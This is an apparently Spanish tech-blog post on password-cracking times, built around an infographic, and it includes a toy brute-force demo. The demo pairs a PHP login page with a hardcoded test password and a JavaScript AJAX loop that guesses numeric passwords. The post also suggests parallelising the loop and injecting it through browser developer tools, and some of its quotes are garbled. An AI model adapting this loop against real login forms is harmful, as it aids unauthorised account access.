¿Cuanto tardaría un hacker en reventar nuestra contraseña?

¿Usas una contraseña “segura“?, el 50% de las contraseñas son inferiores a 8 caracteres y como ya deberíamos de saber se usan más de la cuenta las contraseñas de seguridad cero (las típicas: 123456, password, qwerty…) y realmente una contraseña de 6 dígitos puede ser fácil de resolver por un hacker con un equipo básico en un par de semanas o en una ínfima fracción de segundo por un equipo de profesionales con un supercomputador.

En esta infografía se muestra el tiempo que tardaría un hacker “novato” (en comparación) y lo que tardaría un hacker profesional, y no se aleja para nada de la realidad, mientras que un usuario normal en su casa puede intentar crackear una contraseña de 6 dígitos solo formada por letras y tardar 20 días, si se enfrentara este usuario a una contraseña de 10 dígitos alfanuméricos y con símbolos tardaría en romperla 54 millones de siglos (millón arriba, millón abajo).

Pero con un profesional (pongamos que de una agencia de seguridad con equipo más que suficiente) sería totalmente distinto, cada día esta avanzando más el mundo de la informática y el del procesamiento (creando cada vez conjuntos de computadoras más grandes procesando simultáneamente) lo que dejaría a nuestras contraseñas totalmente desnudas ante un ataque de este tipo, que actualmente se estima que se puede obtener el resultado en 20 días (con una contraseña de 10 dígitos segura)… todo esto mientras sigue el ordenador del hacker de andar por casa procesando sin resultados.

Cualquiera puede intentarlo

Para hacer este tipo de ataques por fuerza bruta hay muchas formas de hacerlo, y muchos lenguajes con los que hacerlo, pero os voy a poner un ejemplo “seguro” (porque no es útil fuera de pruebas que hagamos a propósito) hecho con JavaScript y AJAX (muy básico y poco optimizado, si realmente queréis hacer maldades no os recomiendo usar este método, ya que los navegadores por seguridad limitan a AJAX y no te dejan usar contenido de otros dominios que no sean el mismo de donde se encuentra el script que hace esta acción).

En este ejemplo iremos directamente al grano, normalmente deberíamos de buscar que variables son las que se mandan a través del formulario y analizar la respuesta en busca de señales que nos indiquen si hemos errado con la contraseña como buscar el patrón: “Contraseña incorrecta“.

Os pongo en la situación del ejemplo:

  • Tenemos nuestro servidor PHP (local o externo).

  • El archivo PHP si no le damos la contraseña correcta nos devuelve un error 403 y un mensaje de denegación o si acertamos un OK (200) y un mensaje de autorización, y como os habéis podido dar cuenta esto sería mucho suponer (se lo he dejado muy fácil al script y sería raro que un servidor diese ese error al no acertar en su formulario).

  • En la misma carpeta tenemos el archivo index.php y ajax.html.

  • Sabemos el usuario del que queremos su contraseña, que se llama Pedro.

  • Y la contraseña solo puede ser numérica (obviamente que solo podamos poner una contraseña con números es prácticamente imposible de encontrar, por lo menos sin más medidas de seguridad).

  • Cuando queramos empezar debemos de abrir en el navegador el archivo ajax.html.

El archivo PHP

Este archivo es simplemente una prueba, uno real de acceso sería mucho más extenso y completo (pero nos servirá).

<?
    //Se coge por POST las variables
    $get_user=$_POST['user'];
    $get_pass=$_POST['pass'];
    //Estos son el usuario y la contraseña
    $user='pedro';
    $pass='1093';
    //Comparamos lo recibido con los datos
    if( $get_user==$user and $get_pass==$pass ){
        header('HTTP/1.1 200 OK');
        echo "Autorizado";
    }else{
        header('HTTP/1.1 403 Forbidden');
        echo 'Acceso denegado';
    }
    //Si son correctos los datos le damos el OK, sino el error 403
?>

El JavaScript

Si el archivo PHP era básico este lo es aún más, el funcionamiento se basa en una función que lanza una petición por AJAX con un número que se va incrementado (no hace falta más porque es solo numérica la contraseña), y cuando recibe la respuesta comprueba si el código devuelto es el 200 o el 403 y si no ha acertado lanza otra petición.

Nota: este script se podría optimizar haciendo las peticiones en paralelo en lugar de una detrás de la otra, hacer que incluyera caracteres alfanuméricos y símbolos y probablemente funcionaría si lo inyectásemos con las herramientas de desarrollador de Chrome o FireBug.

<script type="text/javascript">
    FIN=false
    //Establecemos el usuario, que casualmente le conocemos
    user='pedro'
    //Establecemos el momento en el que empezamos para calcular el tiempo transcurrido
    _time=new Date().getTime()
    function Crack(i){
        if(FIN) return false
        pass=i
        var ajax=new XMLHttpRequest()
        ajax.open('POST','index.php')
        //Cuando haya un cambio de estado de la petición se ejecuta esta función
        ajax.onreadystatechange=function(){
            //Cuando se haya completado la transferencia y tengamos el resultado continuaremos
            if(ajax.readyState==4){
                time=new Date().getTime()
                //Escribe en pantalla la información del proceso
                document.body.innerHTML=
                '<code><b>Status</b>: '+ajax.status+' ('+ajax.statusText+')'+
                '<br /><b>Time</b>: '+(time-_time)/1000+'s'+
                '<br /><b>User</b>: '+user+
                '<br /><b>Password</b>: '+pass+
                '<br /><b>Response Text</b>: '+ajax.responseText+'’
                //Si hemos encontrado la contraseña lanza una alerta y para el script
                if(ajax.status==200){
                    alert(‘Password: ‘+pass)
                    FIN=true;
                }else{
                    //Pero si hemos fallado (que es lo normal) se volverá a ejecutar
                    Crack(i+1)
                }
            }
        }
        //Mandamos la peticián con el usuario y la contraseña por POST, como en un formulario
        ajax.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’)
        ajax.send(‘user=’user‘&pass=’+pass)
    }
    Crack(0) //Empezamos la ejecución
</script>

Los resultados


El script lo he probado en mi PC (del 2007, no tiene punto de comparación ni con un i3 de gama baja, y los resultados para 4 dígitos no son demasiado malos…), en cambio cuando lo pruebo online la cosa cambia, ya no influye la capacidad del ordenador, sino la conexión (la mía y sobre todo la del servidor donde lo he probado, que se retrasa constantemente… uno gratuito).

El resultado en el servidor local:

Status: 200 (OK)
Time: 8.827s
User: pedro
Password: 1093
Response Text: Autorizado

Y este el del servidor online gratuito y lento (podéis probarlo e iros a hacer la compra… A mí en el único intento que he hecho me ha tardado 14 minutos):

Status: 200 (OK)
Time: 854.708s
User: pedro
Password: 1093
Response Text: Autorizado

Con un lenguaje más potente y una mejor optimización para el propósito que queremos podría que tardase (con el mismo archivo PHP) y de forma local la mitad o menos, pero con una contraseña lo suficientemente larga y segura nos encontraríamos como el “hacker de andar por casa” de la infografía.

Infografía | LifeLock

Más en Genbeta Dev | Ataques de fuerza bruta a formularios web

Portada de Genbeta